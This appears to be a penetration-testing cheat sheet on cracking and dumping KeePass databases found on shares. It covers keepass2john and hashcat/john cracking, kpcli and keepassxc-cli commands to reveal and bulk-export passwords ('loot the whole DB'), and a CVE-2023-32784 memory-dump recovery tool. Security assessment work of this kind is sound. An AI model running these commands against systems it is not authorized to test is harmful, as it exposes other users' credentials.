kpcli & keepassxc-cli

A .kdbx on a share is a credential goldmine — it usually holds other users’ passwords. Three stages: crack the master, open the DB, dump entries.

1. Crack the master password

keepass2john Database.kdbx > db.hash
# if a .key keyfile is also required to open it:
keepass2john -k Database.key Database.kdbx > db.hash

# strip the "Database:" label column for hashcat, keep it for john
hashcat -m 13400 db.hash /usr/share/wordlists/rockyou.txt --username
#   or
john db.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show db.hash

-m 13400 covers supported KeePass 1/2 AES/Twofish records; it is not a universal KDBX4/Argon2 mode. See the *2john extractors for the file→hash step.

2 + 3. Open and dump — kpcli (Perl, interactive)

kpcli --readonly --kdb Database.kdbx                 # prompts for master
kpcli --readonly --kdb Database.kdbx --key Database.key   # with keyfile

Inside the kpcli:/> prompt:

ls                         # list groups
cd "/General/Network"      # descend into a group
show -f 0                  # show entry 0 WITH the password in cleartext (-f = show full)
show -a 0                  # include timestamps and icon index
find .                     # search every entry
attach 0                   # open the attachment-management menu for entry 0

Non-interactive (scriptable) — run a command and exit:

kpcli --readonly --kdb Database.kdbx --command "find ." --command "show -f 0"
kpcli --readonly --kdb Database.kdbx --pwfile master.txt --command "find ."   # master from a file

[!warning] kpcli and KDBX4 kpcli natively handles KDBX ≤3.1. For KDBX4 (Argon2) it shells out to a KeePassXC binary via --kpxcexe; if that isn’t available, use keepassxc-cli below instead.

2 + 3 alt — keepassxc-cli (handles KDBX4)

Modern, handles Argon2/KDBX4. Master comes from the prompt or stdin.

# list every entry (recursive)
keepassxc-cli ls -R Database.kdbx

# show one entry; -s reveals the password field
keepassxc-cli show -s Database.kdbx "/General/Network/Admin"

# search
keepassxc-cli search Database.kdbx "admin"

# BULK DUMP everything to CSV (fastest way to loot the whole DB)
umask 077
keepassxc-cli export -f csv Database.kdbx > evidence-keepass.csv

# with a keyfile instead of / alongside the master
keepassxc-cli open -k Database.key Database.kdbx

[!tip] Pipe the master in For non-interactive commands, provide the password through stdin from a protected file, for example keepassxc-cli export -f csv db.kdbx < master.txt > entries.csv. Prefer the normal prompt for manual work, and restrict the output file permissions before export.

Keyfile-only / no master

If the DB opens with only a keyfile (no master password), you don’t crack anything — use keepassxc-cli ls --no-password -k Database.key Database.kdbx; --no-password disables the password component rather than supplying an empty password. Hunt the keyfile near the DB (.key, .keyx, sometimes a random file referenced in a config or script).

CVE-2023-32784 — recover master from memory

If you have a memory dump of a vulnerable KeePass 2.x (< 2.54) process, residual data may allow partial password recovery; success depends on what the dump contains:

git clone https://github.com/vdohney/keepass-password-dumper
dotnet run --project keepass-password-dumper KeePass.DMP
# Output contains partial candidates; the first character still needs recovery/validation

[!warning]

• export writes plaintext passwords to disk — clean up the CSV afterward on shared boxes.
• KDBX4/Argon2: recent John jumbo can extract these formats, while older builds may reject them. Check the cracker’s matching format; do not force mode 13400.

Prefer a selected entry before bulk export

umask 077
keepassxc-cli ls -R Database.kdbx
keepassxc-cli show -s -a UserName -a Password Database.kdbx 'General/Network/Admin'

# When a keyfile is required alongside the password:
keepassxc-cli show -s -k Database.key Database.kdbx 'General/Network/Admin'

Use the exact entry path printed by ls. Database format version, encryption cipher and KDF are distinct settings; .kdbx does not tell you whether an old extractor can process the file. If kpcli cannot import a KDBX4 database, use KeePassXC directly rather than repeatedly retrying the same file.

Success: the database opens and the relevant entry is readable. This does not prove that the stored credential is current or valid on any host. Validate it against one identified service and record that result separately.

See Also

• John *2john extractors — the keepass2john step in context.
• hashcat / John the Ripper — cracking the master hash.
• Windows Credential Flag Hunting — where .kdbx files hide.

Sources

• https://kpcli.sourceforge.net/
• https://keepassxc.org/docs/
• https://github.com/vdohney/keepass-password-dumper